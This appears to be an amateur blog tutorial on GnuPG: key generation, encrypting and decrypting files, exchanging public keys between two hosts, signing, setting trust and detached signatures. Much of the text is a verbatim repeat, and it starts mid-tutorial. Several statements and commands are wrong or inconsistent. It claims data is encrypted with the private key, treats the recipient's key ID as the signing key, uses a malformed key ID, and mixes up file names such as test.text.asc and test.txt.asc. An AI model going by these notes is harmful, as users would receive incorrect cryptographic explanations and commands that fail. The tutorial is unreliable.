# gpg --decrypt install.log.asc
this will decrypt the encryption with armor
Encryption and Decryption accross the network:
Now in this case we have to export the publicring keys and import it on remote machine to decrypt the data.
Exporting the public Key.
In host1:
# gpg --export --armor -o remotehost1.asc.pub
This will export the public key to the file remotehost.asc. Now this key can be imported to any host for decryption.
In host2:
# gpg --export --armor -o remotehost2.asc.pub
Now both the users have exported their public keys. Now we can import the public keys to system to create "web of trust".
Now import the keys
In Host 1:
get the public key of Host2 "remotehost2.asc.pub" securely and import it
# gpg --import remotehost2.asc.pub
This will import the key of Host2 in host1 for the current user
# gpg --list-keys
This will show all the keys.
Now import the keys
In Host 2 also:
get the public key of Host1 "remotehost1.asc.pub" securely and import it
# gpg --import remotehost1.asc.pub
# gpg --list-keys
Now we have both the pub keys installed in both systems.
Testing the encryption:
# gpg --list-keys
# gpg -e -r 89909823636 --armor -o test.txt.asc test.txt
While encryption make sure that the same key is used. For this instead of giving the username for the flag " -r " use the key ID in our case it is "89909823636". Now this will re-confirm the key that going to encrypt.
This will encrypt the file and send this accross the wire to host2.
In host2
# gpg --list-keys
Find the key which has the ID 89909823636 from above command
# gpg --decrypt -r 89909823636 -o test.txt test.txt.asc
This will decrypt the file and create the new file test.txt.
GPG - Signing & Encryption
* Signing is different from encrypting the data. Signing is to prove the authenticity of the data send to the reciever stating that "This data belongs to the sender". Signing is independent to encryption of data. We can encrypt without signing. Sign and Encrypt to prove authenticity is recommended.
Signing a file:
The Private key of the sender is used to sign the data. And the recipient decrypts the signature using senders public key.
Encrypt the data
# gpg -e --armor -r 80098FC8 file.txt
This will armor and encrypt the file using the key ID 80098FC8 .
When a file is singed, when decrypting the the data the gpg will show the signature
Signing and Encrypting:
#gpg -se --armor -r 80098FC8 file.txt
This will encrypt as well as sign the data using the private key 80098FC8 . Now when we decrypt the data the gpg will show the signature as well as Key finger print and also about the key whether it is trusted or not in the shell output.
#gpg -d -r 80098FC8 file.txt.asc
This will decrypt the data along with it will show the signature too. But if the trust level of the key is not set this will show you the msg that "there is no indication that this key belongs to sender"
Increasing the Trust Level of the KEY.(Certifying the key with trusted signature):
#gpg --edit-key 8177ACE
This will give the promtp to edit the key having the ID 8177ACE.
Command> help
Will show the help menu
Command> trust
Now give the trust level(the each level will be explained by the interactive menu in gpg) Select from 1 to 5 class of trust.
Command> quit
Now the trust level is set.
So now sign, encrypt and send to remote user. Now decrypt the file in the remote machine.
Note:- Still if u see that trust need to increased in remote machine, This means in remote system also we have to increase the trust level. Now test again.
GPG - detaching the signature:
(--detach-sign or -b) This option will detach the signature from the encrypted file and both the signature and encrypted file can be send it separately to remote system.When creating the detached signature no need to specify the recipients (-r) public key. The process of creating the signature relies upon the senders private key.
Creating the encrypted file and a separate signature for it.
# gpg -ea -r 8900DAC08 test.txt
This will create a encrypted file called test.txt.asc. But this will not be signed.
# gpg -b test.txt.asc
(-b will tell to create a seperate signature) The signature created by each and every file will be different.
This will create a file called test.txt.asc.sig
Now send both the file to remote system.
Testing the file with the signature in remote system.
When verifying and decrypting the content of assosiated encrypted file follow this
1. Verify the md5sum
2. Verify the signature
3. Decrypt the encrypted file
Verify the md5sum
# Check the md5sum and compare with the sender's md5sum for both the file and signature
Verify the signature
# gpg --verify test.text.asc.sig test.text.asc
This will return the signature status.
Decrypt the encrypted file
# gpg -d -o test.txt test.text.asc
Integrating the GPG with mail clients:
The encryption is based on the email address in allmost all the MUA. It is not done by the key ID. So make sure that the matching key has been installed in both of senders and relievers MUA before encrypting and sending the msg. The GPG key has to be created and trust level has to be defined with the exact mail ID.
Gnu Privacy Gard is an open source of Pretty Good Privacy and 100% compatible with PGP.It based on PKI (Public key private key encryption). GPG encrypts data / mails etc.
Steps in Encrypting Data using the GPG
Step 1:
Genarate PKI pairs (Public/private Key)
# gpg --gen-key
This will Prompt for options like key strength and various other details and store the key inside ~/.gnupg/.
pubring.gpg and secring.gpg are the public and private keys respectively.
Now make note of the key finger print. This is used to matching the public keys.
# gpg --list-keys
This will show the keys that has been generated
# gpg --fingerprint
This will show the finger print for the keys.
Step 2:
Now we can encrypt the data using the private key
Encrypt the data:
# gpg --list-keys
This will list the keys
# gpg --encrypt -r kiran install.log
-r is used to define the public key ID also can use the user name(This reffers which key has to be used) and the install.log is the file that we are encrypting. As a result a new file will be created by the name install.log.gpg. Now if we cat the content of the file install.log.gpg now we can see that the file is been encrypted (This will use the compression as well so file size will be less than the original file).
Decrypt the data:
#gpg --decrypt install.log.gpg
Will decrypt the file and the STDOUT will be shown in the bash terminal.
# gpg -o install.log --decrypt install.log.gpg
This will decrypt to the file install.log
Encryption Decryption using the Armor
# gpg -e --armor -r kiran install.log
This will encrypt the data with armored (Neatly encrypts the data). Creates the file with the name install.log.asc
# gpg --decrypt install.log.asc
this will decrypt the encryption with armor
Encryption and Decryption accross the network:
Now in this case we have to export the publicring keys and import it on remote machine to decrypt the data.
Exporting the public Key.
In host1:
# gpg --export --armor -o remotehost1.asc.pub
This will export the public key to the file remotehost.asc. Now this key can be imported to any host for decryption.
In host2:
# gpg --export --armor -o remotehost2.asc.pub
Now both the users have exported their public keys. Now we can import the public keys to system to create "web of trust".
Now import the keys
In Host 1:
get the public key of Host2 "remotehost2.asc.pub" securely and import it
# gpg --import remotehost2.asc.pub
This will import the key of Host2 in host1 for the current user
# gpg --list-keys
This will show all the keys.
Now import the keys
In Host 2 also:
get the public key of Host1 "remotehost1.asc.pub" securely and import it
# gpg --import remotehost1.asc.pub
# gpg --list-keys
Now we have both the pub keys installed in both systems.
Testing the encryption:
# gpg --list-keys
# gpg -e -r 89909823636 --armor -o test.txt.asc test.txt
While encryption make sure that the same key is used. For this instead of giving the username for the flag " -r " use the key ID in our case it is "89909823636". Now this will re-confirm the key that going to encrypt.
This will encrypt the file and send this accross the wire to host2.
In host2
# gpg --list-keys
Find the key which has the ID 89909823636 from above command
# gpg --decrypt -r 89909823636 -o test.txt test.txt.asc
This will decrypt the file and create the new file test.txt.
GPG - Signing & Encryption
* Signing is different from encrypting the data. Signing is to prove the authenticity of the data send to the reciever stating that "This data belongs to the sender". Signing is independent to encryption of data. We can encrypt without signing. Sign and Encrypt to prove authenticity is recommended.
Signing a file:
The Private key of the sender is used to sign the data. And the recipient decrypts the signature using senders public key.
Encrypt the data
# gpg -e --armor -r 80098FC8 file.txt
This will armor and encrypt the file using the key ID 80098FC8 .
When a file is singed, when decrypting the the data the gpg will show the signature
Signing and Encrypting:
#gpg -se --armor -r 80098FC8 file.txt
This will encrypt as well as sign the data using the private key 80098FC8 . Now when we decrypt the data the gpg will show the signature as well as Key finger print and also about the key whether it is trusted or not in the shell output.
#gpg -d -r 80098FC8 file.txt.asc
This will decrypt the data along with it will show the signature too. But if the trust level of the key is not set this will show you the msg that "there is no indication that this key belongs to sender"
Increasing the Trust Level of the KEY.(Certifying the key with trusted signature):
#gpg --edit-key 8177ACE
This will give the promtp to edit the key having the ID 8177ACE.
Command> help
Will show the help menu
Command> trust
Now give the trust level(the each level will be explained by the interactive menu in gpg) Select from 1 to 5 class of trust.
Command> quit
Now the trust level is set.
So now sign, encrypt and send to remote user. Now decrypt the file in the remote machine.
Note:- Still if u see that trust need to increased in remote machine, This means in remote system also we have to increase the trust level. Now test again.
GPG - detaching the signature:
(--detach-sign or -b) This option will detach the signature from the encrypted file and both the signature and encrypted file can be send it separately to remote system.When creating the detached signature no need to specify the recipients (-r) public key. The process of creating the signature relies upon the senders private key.
Creating the encrypted file and a separate signature for it.
# gpg -ea -r 8900DAC08 test.txt
This will create a encrypted file called test.txt.asc. But this will not be signed.
# gpg -b test.txt.asc
(-b will tell to create a seperate signature) The signature created by each and every file will be different.
This will create a file called test.txt.asc.sig
Now send both the file to remote system.
Testing the file with the signature in remote system.
When verifying and decrypting the content of assosiated encrypted file follow this
1. Verify the md5sum
2. Verify the signature
3. Decrypt the encrypted file
Verify the md5sum
# Check the md5sum and compare with the sender's md5sum for both the file and signature
Verify the signature
# gpg --verify test.text.asc.sig test.text.asc
This will return the signature status.
Decrypt the encrypted file
# gpg -d -o test.txt test.text.asc
Integrating the GPG with mail clients:
The encryption is based on the email address in allmost all the MUA. It is not done by the key ID. So make sure that the matching key has been installed in both of senders and relievers MUA before encrypting and sending the msg. The GPG key has to be created and trust level has to be defined with the exact mail ID.
Subscribe to:
Posts (Atom)